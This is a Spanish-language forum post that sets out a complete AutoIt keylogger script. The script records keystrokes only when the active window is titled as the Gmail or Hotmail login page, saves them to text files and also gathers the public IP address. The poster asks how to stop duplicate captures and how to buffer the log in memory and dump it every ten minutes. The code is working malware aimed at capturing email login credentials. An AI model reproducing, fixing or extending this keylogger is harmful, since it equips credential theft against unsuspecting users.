Yo he recopilado un poco de información sobre capturar eventos del teclado y logre hacer este script:
Código: Seleccionar todo
#include <Misc.au3>
#include <IE.au3>
#include <Date.au3>
#include <Inet.au3>
dim $dato, $fecha, $ip, $nombre ;Declaro mis variables a utilizar
$fecha = _Now() ; Con esto obtengo la fecha y la hora
$ip = _GetIP() ;Con esto obtengo la ip.
while 1
If WinActive("Gmail: correo electrónico de Google") Then ;Si la ventana activa tiene ese titulo
$nombre = "Gmail.txt"
logea()
EndIf
If WinActive("Iniciar sesión") Then ;Si la ventana activa tiene ese titulo
$nombre = "Hotmail.txt"
logea()
EndIf
WEnd
Func logea()
$dll = DllOpen("user32.dll")
If _IsPressed("41", $dll) Then
$dato = "a"
grabar ()
EndIf
If _IsPressed("42", $dll) Then
$dato = "b"
grabar ()
EndIf
If _IsPressed("43", $dll) Then
$dato = "c"
grabar ()
EndIf
If _IsPressed("44", $dll) Then
$dato = "d"
grabar ()
EndIf
If _IsPressed("45", $dll) Then
$dato = "e"
grabar ()
EndIf
If _IsPressed("46", $dll) Then
$dato = "f"
grabar ()
EndIf
If _IsPressed("47", $dll) Then
$dato = "g"
grabar ()
EndIf
If _IsPressed("48", $dll) Then
$dato = "h"
grabar ()
EndIf
If _IsPressed("49", $dll) Then
$dato = "i"
grabar ()
EndIf
If _IsPressed("4a", $dll) Then
$dato = "j"
grabar ()
EndIf
If _IsPressed("4b", $dll) Then
$dato = "k"
grabar ()
EndIf
If _IsPressed("4c", $dll) Then
$dato = "l"
grabar ()
EndIf
If _IsPressed("4d", $dll) Then
$dato = "m"
grabar ()
EndIf
If _IsPressed("4e", $dll) Then
$dato = "n"
grabar ()
EndIf
If _IsPressed("4f", $dll) Then
$dato = "o"
grabar ()
EndIf
If _IsPressed("50", $dll) Then
$dato = "p"
grabar ()
EndIf
If _IsPressed("51", $dll) Then
$dato = "q"
grabar ()
EndIf
If _IsPressed("52", $dll) Then
$dato = "r"
grabar ()
EndIf
If _IsPressed("53", $dll) Then
$dato = "s"
grabar ()
EndIf
If _IsPressed("54", $dll) Then
$dato = "t"
grabar ()
EndIf
If _IsPressed("55", $dll) Then
$dato = "u"
grabar ()
EndIf
If _IsPressed("56", $dll) Then
$dato = "v"
grabar ()
EndIf
If _IsPressed("57", $dll) Then
$dato = "w"
grabar ()
EndIf
If _IsPressed("58", $dll) Then
$dato = "x"
grabar ()
EndIf
If _IsPressed("59", $dll) Then
$dato = "y"
grabar ()
EndIf
If _IsPressed("5a", $dll) Then
$dato = "z"
grabar ()
EndIf
If _IsPressed("20", $dll) Then
$dato = " "
grabar ()
EndIf
If _IsPressed("01", $dll) Then
$dato = " "
grabar ()
EndIf
If _IsPressed("0d", $dll) Then
$dato = @CRLF
grabar ()
EndIf
If _IsPressed("30", $dll) Then
$dato = "0"
grabar ()
EndIf
If _IsPressed("31", $dll) Then
$dato = "1"
grabar ()
EndIf
If _IsPressed("32", $dll) Then
$dato = "2"
grabar ()
EndIf
If _IsPressed("33", $dll) Then
$dato = "3"
grabar ()
EndIf
If _IsPressed("34", $dll) Then
$dato = "4"
grabar ()
EndIf
If _IsPressed("35", $dll) Then
$dato = "5"
grabar ()
EndIf
If _IsPressed("36", $dll) Then
$dato = "6"
grabar ()
EndIf
If _IsPressed("37", $dll) Then
$dato = "7"
grabar ()
EndIf
If _IsPressed("38", $dll) Then
$dato = "8"
grabar ()
EndIf
If _IsPressed("39", $dll) Then
$dato = "9"
grabar ()
EndIf
If _IsPressed("60", $dll) Then
$dato = "0"
grabar ()
EndIf
If _IsPressed("61", $dll) Then
$dato = "1"
grabar ()
EndIf
If _IsPressed("62", $dll) Then
$dato = "2"
grabar ()
EndIf
If _IsPressed("63", $dll) Then
$dato = "3"
grabar ()
EndIf
If _IsPressed("64", $dll) Then
$dato = "4"
grabar ()
EndIf
If _IsPressed("65", $dll) Then
$dato = "5"
grabar ()
EndIf
If _IsPressed("66", $dll) Then
$dato = "6"
grabar ()
EndIf
If _IsPressed("67", $dll) Then
$dato = "7"
grabar ()
EndIf
If _IsPressed("68", $dll) Then
$dato = "8"
grabar ()
EndIf
If _IsPressed("69", $dll) Then
$dato = "9"
grabar ()
EndIf
If _IsPressed("08", $dll) Then
$dato = "BACKSPACE "
grabar ()
EndIf
If _IsPressed("09", $dll) Then
$dato = "TAB "
grabar ()
EndIf
If _IsPressed("2E", $dll) Then
$dato = "Supr "
grabar ()
EndIf
If _IsPressed("10", $dll) Then
$dato = "SHIFT "
grabar ()
EndIf
If _IsPressed("11", $dll) Then
$dato = "CTRL "
grabar ()
EndIf
If _IsPressed("12", $dll) Then
$dato = "ALT "
grabar ()
EndIf
If _IsPressed("13", $dll) Then
$dato = "PAUSE "
grabar ()
EndIf
If _IsPressed("14", $dll) Then
$dato = "CAPSLOCK "
grabar ()
EndIf
If _IsPressed("1b", $dll) Then
$dato = "ESC "
grabar ()
EndIf
If _IsPressed("bb", $dll) Then
$dato = "="
grabar ()
EndIf
If _IsPressed("bc", $dll) Then
$dato = ","
grabar ()
EndIf
If _IsPressed("6a", $dll) Then
$dato = "*"
grabar ()
EndIf
If _IsPressed("bd", $dll) Then
$dato = "-"
grabar ()
EndIf
If _IsPressed("6d", $dll) Then
$dato = "-"
grabar ()
EndIf
If _IsPressed("6b", $dll) Then
$dato = "+"
grabar ()
EndIf
If _IsPressed("6f", $dll) Then
$dato = "/"
grabar ()
EndIf
If _IsPressed("be", $dll) Then
$dato = "."
grabar ()
EndIf
If _IsPressed("6e", $dll) Then
$dato = "."
grabar ()
EndIf
If _IsPressed("db", $dll) Then
$dato = "["
grabar ()
EndIf
If _IsPressed("dc", $dll) Then
$dato = "\"
grabar ()
EndIf
If _IsPressed("dd", $dll) Then
$dato = "]"
grabar ()
EndIf
If _IsPressed("40", $dll) Then
$dato = "@"
grabar ()
EndIf
If _IsPressed("01", $dll) Then
$dato = "[*]"
grabar ()
EndIf
DllClose($dll)
EndFunc
Func grabar()
$file = FileOpen($nombre, 1) ;El 1 quiere decir que añade la info capturada al txt
FileWrite($file, $dato)
FileClose($file)
Sleep (160) ;Espero 160 mseg y salgo de la funcion.
EndFunc
Como verán este script me funciona bien pero tengo 2 problemas.
1.- El primer problema es que debido al sleep(160) aveces no me captura la tecla pulsada. Ahora mientras mas grande sea ese sleep pues mas posibilidades tengo de fallar en la captura pero mientras más pequeño sea el sleep, digamos un sleep (30) resulta ser que me captura la tecla demasiadas veces, por ejemplo si abro hotmail y escribo USUARIO el sleep me verifica cada 30 mseg la tecla pulsada y me da como resultado esto: UUUUUUUUSSSSSSSUUUUUUUAAAAAAAARRRRIIIIIIIIOOOOOOOOO. Pienso que sería cuestion de buscar un número ideal para el sleep. Yo lo tengo en 160 y me funciona casi perfecto pero quisiera saber si es posible utilizar alguna funcion que solo detecte la tecla pulsada y no me la repita mientras la tenga pulsada. Pudiese ser con el HotKeySet("TECLA","FUNCION")
2.- El segundo problema que tengo es que yo no quiero que me grabe los logs de esa manera. Yo quisiera saber si es posible que a medida que me vaya capturando una tecla me la vaya almacenando en memoria, algo asi como un Array[...] nose nose y luego cada 10 minutos por ejemplo me volque los datos contenidos en la variable o Array a un txt. eso es posible?
Haaaa y otra cosa referente a esto:
Código: Seleccionar todo
$fecha = _Now()
$ip = _GetIP()
Espero que me puedan ayudar ya que ya no hayo por donde entrarle al problema!!! Un saludo a todos